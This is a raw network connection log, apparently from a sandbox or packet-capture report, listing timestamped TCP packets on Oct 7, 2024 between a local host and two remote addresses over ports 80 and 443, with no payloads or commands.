Oct 7, 2024 18:00:49.959322929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959335089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959342957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959352970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959364891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959376097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959404945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959418058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959423065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959431887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959446907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959455967 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959470034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959475994 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959486961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959502935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959640026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959650040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959661007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959672928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959687948 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959698915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959706068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959718943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959724903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959736109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959747076 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959753990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959764004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959773064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959784031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:49.959794998 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:49.959825039 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.040565968 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.040642023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.040652990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.040693045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.040704012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.040709019 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.040714979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.040728092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.040759087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.040771961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.040822983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.040841103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.040879965 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.040914059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.040925026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.040930033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.040956974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.040977955 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041146040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041157007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041167021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041176081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041186094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041193008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041197062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041208029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041208982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041227102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041253090 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041284084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041295052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041306019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041316986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041327953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041331053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041356087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041379929 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041474104 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041488886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041496038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041501045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041511059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041527033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041554928 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041615009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041626930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041636944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041656017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041676044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041723013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041734934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041744947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041757107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041764021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041769028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041779041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041783094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041795015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.041804075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041822910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.041848898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.042104006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042114973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042124987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042135000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042144060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.042146921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042160988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.042164087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042176008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042185068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042191029 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.042205095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042211056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.042217970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042222023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.042233944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042243958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042253017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.042253971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042265892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042267084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.042278051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042288065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042295933 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.042299986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042311907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.042315006 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.042329073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.042359114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.043015957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043030024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043039083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043047905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043061972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043066978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.043073893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043085098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043085098 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.043096066 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.043098927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043109894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043119907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043127060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.043131113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043142080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043152094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043158054 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.043164015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043175936 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043176889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.043189049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043195963 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.043201923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043212891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043220997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.043246984 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.043406963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043426991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.043467045 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.043595076 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.043627024 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.043673038 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.043721914 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.051716089 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.051780939 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.051902056 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.088102102 CEST	443	49902	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.116911888 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.135092020 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.135104895 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.135117054 CEST	49899	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.135122061 CEST	443	49899	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.137597084 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.137613058 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.137931108 CEST	49902	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.138324022 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.138330936 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.140111923 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.140111923 CEST	49900	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.140127897 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.140136957 CEST	443	49900	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.143979073 CEST	49902	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.143986940 CEST	443	49902	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.151402950 CEST	49902	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.151411057 CEST	443	49902	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.179403067 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.179431915 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.179513931 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.196357965 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.196399927 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.196480989 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.204521894 CEST	49903	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.204535007 CEST	443	49903	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.207880020 CEST	49904	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.207891941 CEST	443	49904	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.232875109 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.233428955 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.233475924 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.233550072 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.241071939 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.241071939 CEST	49901	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.241086006 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.241096020 CEST	443	49901	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.246953011 CEST	443	49902	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.247119904 CEST	443	49902	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.247262001 CEST	49902	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.293662071 CEST	49902	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.293701887 CEST	443	49902	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.293916941 CEST	49902	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.293926954 CEST	443	49902	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.321825981 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.321897030 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.321978092 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.322238922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.327728033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.332392931 CEST	49905	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.332418919 CEST	443	49905	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.334134102 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.334162951 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.334456921 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.334609032 CEST	49906	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:50.334620953 CEST	443	49906	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:50.532222033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.532288074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.532846928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.532860041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.532905102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.532915115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.532915115 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.532926083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.532938004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.532972097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.532979012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.532996893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.533010006 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.533075094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533085108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533113956 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.533123970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.533137083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533147097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533152103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533164024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533196926 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.533221960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.533379078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533390045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533399105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533409119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533418894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533427954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533427954 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.533437967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533446074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.533449888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533462048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.533468962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533477068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.533505917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.533684015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533694029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533704042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533713102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533721924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.533732891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.533760071 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.535065889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535103083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.535125017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535137892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535166025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.535192966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535198927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535206079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535211086 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535235882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.535262108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.535456896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535468102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535476923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535486937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535495996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.535497904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535509109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535518885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.535520077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535531044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535546064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.535558939 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.535573959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.535587072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.536077023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536087036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536103010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536112070 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536122084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536122084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.536133051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536143064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536150932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.536151886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536163092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536170959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.536174059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536185026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536190987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.536195993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536206007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536206007 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.536216021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536225080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.536227942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536237955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536247015 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536252022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.536257029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536269903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.536279917 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.536293983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.536319017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537272930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537283897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537295103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537303925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537313938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537317991 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537323952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537333965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537343979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537348032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537354946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537367105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537368059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537385941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537414074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:50.537419081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537431955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537441969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:50.537451029 CEST	80	49831	95.164.90.97	192.168.2.5
